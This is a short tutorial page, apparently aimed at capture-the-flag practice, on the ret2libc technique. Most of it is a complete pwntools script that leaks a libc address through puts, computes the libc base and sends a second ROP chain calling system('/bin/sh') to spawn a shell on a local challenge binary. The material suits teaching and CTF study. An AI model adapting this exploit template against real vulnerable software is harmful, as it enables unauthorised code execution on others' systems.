Skip to content

Ret2libc

Idea: use a first ROP chain to disclose a resolved libc address, calculate the matching library base, then build another chain using that runtime base.

Assumptions: x86-64 System V, a puts@plt entry, readable puts@got, a return path to main, another input after the leak, and the exact local libc.so.6 file. Replace the measured offset, prompts, and leak delimiter.

from pwn import *
context.binary = elf = ELF("./chall", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
offset = 72 # replace with the measured saved-return offset
rop = ROP(elf)
pop_rdi = rop.find_gadget(["pop rdi", "ret"]).address
p = process(elf.path)
# puts(puts@got); return to main for another input
stage1 = flat({offset: [pop_rdi, elf.got["puts"], elf.plt["puts"], elf.symbols["main"]]})
p.sendlineafter(b"> ", stage1)
p.recvuntil(b"LEAK: ") # use the exact prefix printed before the raw leak
leaked_puts = u64(p.recvline().rstrip(b"\n").ljust(8, b"\x00"))
libc.address = leaked_puts - libc.symbols["puts"]
# system("/bin/sh") from the relocated libc
rop_libc = ROP(libc)
ret = rop_libc.find_gadget(["ret"]).address
pop_rdi_libc = rop_libc.find_gadget(["pop rdi", "ret"]).address
bin_sh = next(libc.search(b"/bin/sh\x00"))
stage2 = flat({offset: [ret, pop_rdi_libc, bin_sh, libc.symbols["system"]]})
p.sendlineafter(b"> ", stage2)
p.interactive()

u64 pads the short little-endian leak to eight bytes. If the target prints the pointer as text, parse the hex text instead. The LEAK: label is a placeholder for the target’s actual output. A mismatched libc produces incorrect symbol offsets; PIE also needs its runtime executable base for the first chain.

This example launches a local challenge process. For a challenge service, follow its explicit rules and protocol; do not reuse local addresses or a different system’s libc.